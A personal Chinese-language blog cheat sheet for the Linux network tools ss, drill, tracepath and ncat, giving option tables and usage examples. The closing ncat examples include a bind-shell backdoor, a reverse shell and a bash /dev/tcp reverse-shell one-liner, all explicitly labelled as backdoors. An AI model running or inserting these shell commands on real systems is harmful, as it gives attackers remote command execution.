Linux 个人用命令整理

  • ~8.18K 字
  1. 1. ss
    1. 1.1. 概述
    2. 1.2. 使用
      1. 1.2.1. OPTIONS
      2. 1.2.2. FILTER
    3. 1.3. 示例
  2. 2. drill
    1. 2.1. 简介
    2. 2.2. 使用
      1. 2.2.1. OPTIONS
      2. 2.2.2. QUERY OPTIONS
    3. 2.3. 示例
  3. 3. tracepath
    1. 3.1. 简介
    2. 3.2. 使用
    3. 3.3. 示例
  4. 4. ncat
    1. 4.1. 简介
    2. 4.2. 使用
      1. 4.2.1. 协议参数
      2. 4.2.2. 连接模式参数
      3. 4.2.3. 监听模式参数
      4. 4.2.4. SSL
      5. 4.2.5. 代理
      6. 4.2.6. 执行命令
      7. 4.2.7. 访问控制
      8. 4.2.8. 时间选项
      9. 4.2.9. 输出选项
      10. 4.2.10. 其他
    3. 4.3. 示例

Deprecation of net-tools:

net-tools 工具早已经被 arch 系统从 base 包中移除。也有相关博客已经将相关代替命令进行介绍,这里整理自己用的一些命令。

如果需要使用旧命令,手动安装 net-tools 也是可以的,不过系统中已经安装了相关命令的替代命令。

ss

概述

  • ss 属于 iproute2 包,在 arch 中是 base 包的依赖之一,因此会被默认安装。
  • ss 的官方手册在这里
  • 据称,ss 的速度高于 netstat 和 cat /proc/net/tcp

使用

ss [OPTIONS] [FILTER]

OPTIONS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
-h,--help      帮助信息
-V,--version 程序版本信息
-H,--no-header 不给出首行
-O, --oneline 展示收发包情况
-n,--numeric 不解析服务名称
-r,--resolve 解析主机名
-a,--all 显示所有套接字(sockets)
-l,--listening 显示监听状态的套接字(sockets)
-o,--options 显示计时器信息[仅显示连接状态]
-e,--extended 显示详细的套接字(sockets)信息
-m,--memory 显示套接字(socket)的内存使用
-p,--processes 显示使用套接字(socket)的进程
-i,--info 显示 TCP内部信息
-K, --kill 尝试强制关闭连接,显示被关闭的连接
-s,--summary 显示套接字(socket)使用概况
-E, --events 持续显示连接情况
-4,--ipv4 仅显示IPv4的套接字(sockets)
-6,--ipv6 仅显示IPv6的套接字(sockets)
-0,--packet 显示 PACKET 套接字(socket)
-t,--tcp 仅显示 TCP套接字(sockets)
-u,--udp 仅显示 UCP套接字(sockets)
-d,--dccp 仅显示 DCCP套接字(sockets)
-w,--raw 仅显示 RAW套接字(sockets)
-x,--unix 仅显示Unix套接字(sockets)
-f,--family=FAMILY 显示 FAMILY类型的套接字(sockets),FAMILY可选,支持 unix, inet, inet6, link, netlink
-A,--query=QUERY,--socket=QUERY
QUERY :={all|inet|tcp|udp|raw|unix|packet|netlink}[,QUERY]
-D,--diag=FILE 将原始TCP套接字(sockets)信息转储到文件
-F,--filter=FILE 从文件中读取过滤器信息

FILTER :=[ state TCP-STATE ][ EXPRESSION ]

FILTER

FILTER := [ state STATE-FILTER ] [ EXPRESSION ]

  • STATE-FILTER:构造匹配的状态,语法:state [状态词]

    • established
    • syn-sent
    • syn-recv
    • fin-wait-1
    • fin-wait-2
    • time-wait
    • closed
    • close-wait
    • last-ack
    • listening
    • closing
    • all - for all the states
    • connected - all the states except for listening and closed
    • synchronized - all the connected states except for syn-sent
    • bucket - states, which are maintained as minisockets, i.e. time-wait and syn-recv
    • big - opposite to bucket
  • EXPRESSION:按照特定规矩对结果进行继续过滤。

    是一系列用运算符连接的布尔谓词。布尔运算的优先级是 或<与<非 。如果没有逻辑词连接,则默认使用 与 连接词。支持的连接词如下:

    • {dst|src} [=] [FAMILY:]ADDRESS[:PORT]:根据主机名过滤。其中协议族的支持如下:

      • unix:使用 fnmatch 中的全局匹配( glob match ),将套接字不区分大小写的方式匹配。不支持端口,不在支持通配符*( fnmatch 实际上已经支持了)。在 zsh 中使用时,需要将 * 转义。
      • link: 大小写不敏感的以太网协议,端口写设备名。
      • inet and inet6:是ip地址或者dns域名。纯ipv6地址必须类似 [::] 的形式。可以使用地址的 CIDR 形式。端口可以是端口或者服务名称。
    • {dport|sport} [OP] [FAMILY:]:PORT:将目标端口或者源端口进行比较。

    • dev [=|!=] DEVICE:根据连接使用的设备匹配,设备可以是设备名或者接口序号。

    • cgroup [=|!=] PATH:根据接口的 cgroup 匹配。

    • autobound:源地址是系统自动分配。

    • 支持的比较操作符

      • = == eq
      • != ne neq
      • > gt
      • < lt
      • >= ge geq
      • <= le leq
      • ! not
      • | || or
      • & && and

示例

1
2
3
4
ss -ntlp # 监听的TCP和进程情况,不解析服务端口
ss -nxlp # 监听的SOCKET和进程情况,不解析服务端口
ss -nulp # 监听的UDP和进程情况,不解析服务端口
ss -tl sport = :22 # 监听tcp22端口

drill

简介

  • 用于 DNS 查询
  • drill 在软件包 ldns 中,后者被 openssh 软件包依赖
  • bind 包中存在 dig 命令和 nslookup 命令也可以查询。
    • bind 在arch包中已经于2013年被放弃,见连接
    • ldns 已经在 core 模块中取代 bind

使用

drill [ OPTIONS ] name [ @server ] [ type ] [ class ]

  • name:需要查询的域名。
  • @server:DNS 服务器,默认从 /etc/resolv.conf 读取。
  • type:请求的查询类型,默认是 A。
    • A:和 IPv4 的对应。
    • AAAA:和 IPv6 的对应。
    • NS:记录对应域的域名,可以将子域解析给其他服务器。
    • CNAME:域名的别名。
    • MX:邮件服务器域名。
    • SRV:提供服务发现。
  • class:当查询的时候使用这个。
  • 乱序。

OPTIONS

1
2
3
4
5
6
7
8
9
10
11
12
-D            在查询时开启 DNSSEC 安全认证。
-T 从 root 节点开始跟踪域名。不支持 @server 和 type 参数。
-S 不懂,域名认证相关。
-I ip-address 指定查询的源地址,连接这个地址的 drill 服务端,本地作为客户端
-V number 1-4输出内容相同,5输出更多信息。
-Q 安静模式,使 -V 选项无效。
-f file 从文件中读取请求(读取 -q 输出文件并查询)。
-i file 从文件中读取响应(读取 -w 输出文件)。
-w file 将应答包输出文件。
-q file 将请求包输出文件。
-v 显示软件版本。
-h 帮助信息。

QUERY OPTIONS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-4          只请求 ip4 服务器。
-6 只请求 ip6 服务器。
-a 不懂。和 DNS 扩展协议(EDNS0)有关。
-b size 指定 EDNS0 支持的缓存大小。
-c file 不使用 /etc/resolv.conf 而使用指定文件。
-d domain 和 -T 连用,指定开始的域名而不是根域。
-t 使用 TCP/IP 协议进行查询。
-k keyfile 和 DNSSEC 认证有关。
-o mnemonic 指定头部标志位。
-p port 指定53端口之外的端口。
-r file 当使用 -T 时,使用指定文件作为根服务器的提示文件。
-s 和 DNSSEC 认证有关。
-u 使用 UDP 协议,默认值。
-x 递龟查询。
-z 发送请求前不要随机使用 resolv 中的域名。

示例

1
2
3
drill @8.8.8.8 AAAA lib.dwxh.xyz # 查询域名的 IPv6 记录
drill p.nju.edu.cn # 查询 IPv4 记录
drill mx nju.edu.cn # 查询邮件服务器记录

写完这部分后发现 Arch 文档中推荐的命令是 getent ,随 glibc 发行…

tracepath

简介

  • 用于路由追踪
  • 相较于 traceroute 不需要超级用户特权,同时也没有高级选项

使用

1
2
3
4
5
6
7
8
-4	        IPv4 only.
-6 IPv6 only.
—n 仅打印IP地址
-b 打印服务器名和地址
-I len 设置初始包长度
-m max_hops 最大跃点数
-p port 设置端口
-V 版本

示例

1
2
tracepath -n baidu.com # 只过程中的打印ip
tracepath -p baidu.com # 打印过程中ip和主机名

ncat

ncat 的不同版本:

关于版本的说明:

  • ncnetcat 是同一个软件的不同名称,包含两个版本:
    • nc.traditional: netcat 的基础版本,包含 -e 选项,在远程设备执行命令。
    • nc.openbsd: netcat 的 OpenBSD 版本,包含对 IPv6、 proxies 和 Unix sockets 的支持。
  • ncat 是为 nmap 重写的版本。

简介

  • 从命令行跨网络读取和写入数据,可以产生几乎所有类型的连接。
  • 可以进行端口扫描、传输文件和端口监听。
  • 分为 connect mode (客户端)和 listen mode(服务端),默认端口为 31337。

使用

ncat [OPTIONS...] [hostname] [port]

协议参数

1
2
3
4
5
6
-4              Force IPv4 only
-6 Force IPv6 only
-U, --unixsock Use Unix domain sockets
-u, --udp Use UDP
--sctp Use SCTP. SCTP support is implemented in TCP-compatible mode.
--vsock Use AF_VSOCK sockets rather than the default TCP sockets (Linux only).

连接模式参数

1
2
3
4
-g hop1[,hop2,...]      设置至多8个必须经由的路由器。[测试失败]
-G <n> 设置来源路由指向器,其数值为4的倍数。[测试失败]
-p, --source-port port 指定绑定的端口。
-s, --source addr 指定绑定的地址。

监听模式参数

1
2
3
4
5
-l, --listen               监听模式。
-m, --max-conns <n> 最多的连接数量[linux 100, windows 60]
-k, --keep-open 客户端退出后服务端不退出。
--broker 进入 broker 模式,将一个客户端的消息同步到其他客户端。
--chat 启动一个简单的聊天模式。

SSL

1
2
3
4
5
6
7
8
--ssl                      连接模式:与服务器协商SSL;监听模式:仅监听传入的SSL连接;UDP模式:启动DTLS。
--ssl-verify 验证服务器证书(不检查已经吊销的证书)。监听模式:无效。
--ssl-cert <certfile.pem> 指定PEM证书位置。
--ssl-key <keyfile.pem> 指定私钥位置。
--ssl-trustfile <cert.pem> 设置受信任列表,配合 --ssl-verify 。
--ssl-ciphers <cipherlist> 设置密钥算法,默认为 ALL:!aNULL:!eNULL:!LOW:!EXP:!RC4:!MD5:@STRENGTH 。
--ssl-servername <name> 指定服务器名称。
--ssl-alpn <ALPN list> ALPN protocol list to use

代理

1
2
3
4
--proxy <addr[:port]>      指定代理地址,IPv6使用方括号地址。
--proxy-type <type> 指定代理类型。连接模式下尝试连接代理("http", "socks4", "socks5");监听模式:使用指定模式提供代理("http")。
--proxy-auth <user:pass> 连接模式下,指定代理认证方式;监听模式下,设置代理。
--proxy-dns <type> 指定连接模式下,dns解析方式:local-仅本机;remote-仅远程;bote-优先本机;none-纯IP模式。

执行命令

1
2
3
-e, --exec <command>       建立连接后,将接受的信息都转发的命令。
-c, --sh-exec <command> 使用 /bin/sh 执行,可用使用环境变量等。
--lua-exec <filename> 使用 Lua 执行脚本。

执行命令时,会额外添加以下环境变量:

1
2
3
NCAT_REMOTE_ADDR,NCAT_REMOTE_PORT 远程主机的IP地址和端口号。在连接模式下,它是目标的地址;在监听模式下,这是客户的地址。
NCAT_LOCAL_ADDR, NCAT_LOCAL_PORT 连接本地端的IP地址和端口号。
NCAT_PROTO 使用的协议:TCP,UDP或者SCTP。

访问控制

1
2
3
4
--allow <host>[,<host>,...] 允许指定客户连接。
--allowfile <file> 允许以换行分割的文件提供的主机列表连接。
--deny <host>[,<host>,...] 拒绝指定客户连接,allow 优先。
--denyfile <file> 拒绝文件中给定主机连接。

时间选项

1
2
3
-d, --delay <time>         设置发送的延迟。
-i, --idle-timeout <time> 空闲连接的超时。
-w, --wait <time> 为连接设置连接超时。

输出选项

1
2
3
4
-o, --output <filename>    将会话保存到文件。
-x, --hex-dump <filename> 将会话保存到二进制文件。
--append-output 配合上述选项,追加写入。
-v, --verbose 给出更多信息。

其他

1
2
3
4
5
6
7
8
9
-C, --crlf                 Use CRLF for EOL sequence
-h, --help Display this help screen
--send-only 只发送数据,无视接受的内容。
--recv-only 只接受,不发送。
--no-shutdown 接受到EOF后不会关闭。
-n, --nodns 不解析主机名。
-t, --telnet 回应 Tenlet 请求。
-z 连接后立刻退出。
--version Display Ncat's version information and exit

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ncat -lve  /bin/bash 2333 # 启动一个服务器后门 [其他人连接,输入命令]

ncat -e /bin/bash [host] [port] # 为服务器启动一个后门[服务器输入命令管理本地]
bash -i >& /dev/tcp/10.211.55.4/2333 0>&1 # 上一个命令的等价命令

ncat -l 2333 > hello.txt # 远程服务器等待接受一个文件
ncat www.sqlsec.com 2333 < hello.txt # 本地发送一个文件到远程

ncat -l 2333 < hello.txt # 远程充当文件服务器,单次有效,传输完不会断开!

ncat -l --proxy-type http localhost 8888 # 在本地启用一个代理。

# echo server 发送什么回复什么
# 1
rm /tmp/nc
tail -f /tmp/nc | nc -kv -l 1111 > /tmp/nc
# 2
mkfifo fifo
cat fifo | nc -kv -l 1111 > fifo
分享这一刻
让朋友们也来瞅瞅!